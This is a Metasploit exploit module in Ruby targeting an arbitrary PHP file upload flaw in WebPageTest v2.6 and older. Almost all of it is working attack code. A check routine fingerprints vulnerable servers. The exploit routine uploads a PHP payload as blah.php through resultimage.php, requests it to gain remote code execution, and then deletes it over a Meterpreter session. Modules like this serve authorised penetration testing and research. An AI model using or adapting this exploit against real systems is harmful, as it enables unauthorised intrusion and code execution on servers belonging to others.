WebPageTest Arbitrary PHP File Upload

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "WebPageTest Arbitrary PHP File Upload",  
'Description' => %q{  
This module exploits a vulnerability found in WebPageTest's Upload Feature. By  
default, the resultimage.php file does not verify the user-supplied item before  
saving it to disk, and then places this item in the web directory accessable by  
remote users. This flaw can be abused to gain remote code execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'dun', #Discovery, PoC  
'sinn3r' #Metasploit  
],  
'References' =>  
[  
['OSVDB', '83822'],  
['EDB', '19790']  
],  
'Payload' =>  
{  
'BadChars' => "\x00"  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "none"  
},  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['WebPageTest v2.6 or older', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => "Jul 13 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/'])  
], self.class)  
end  
  
  
def check  
peer = "#{rhost}:#{rport}"  
target_uri.path << '/' if target_uri.path[-1,1] != '/'  
base = File.dirname("#{target_uri.path}.")  
  
res1 = send_request_raw({'uri'=>"#{base}/index.php"})  
res2 = send_request_raw({'uri'=>"#{base}/work/resultimage.php"})  
  
if res1 and res1.body =~ /WebPagetest \- Website Performance and Optimization Test/ and  
res2 and res2.code == 200  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
  
def on_new_session(cli)  
if cli.type != "meterpreter"  
print_error("No automatic cleanup for you. Please manually remove: #{@target_path}")  
return  
end  
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")  
cli.fs.file.rm(@target_path)  
print_status("#{@target_path} removed")  
end  
  
  
def exploit  
peer = "#{rhost}:#{rport}"  
target_uri.path << '/' if target_uri.path[-1,1] != '/'  
base = File.dirname("#{target_uri.path}.")  
  
p = payload.encoded  
fname = "blah.php"  
data = Rex::MIME::Message.new  
data.add_part(  
"<?php #{p} ?>", #Data is our payload  
'multipart/form-data', #Content Type  
nil, #Transfer Encoding  
"form-data; name=\"file\"; filename=\"#{fname}\"" #Content Disposition  
)  
  
print_status("#{peer} - Uploading payload (#{p.length.to_s} bytes)...")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{base}/work/resultimage.php",  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => data.to_s  
})  
  
if not res  
print_error("#{peer} - No response from host")  
return  
end  
  
@target_path = "#{base}/results/#{fname}"  
print_status("#{peer} - Requesting #{@target_path}")  
res = send_request_cgi({'uri'=>@target_path})  
  
handler  
  
if res and res.code == 404  
print_error("#{peer} - Payload failed to upload")  
end  
end  
end`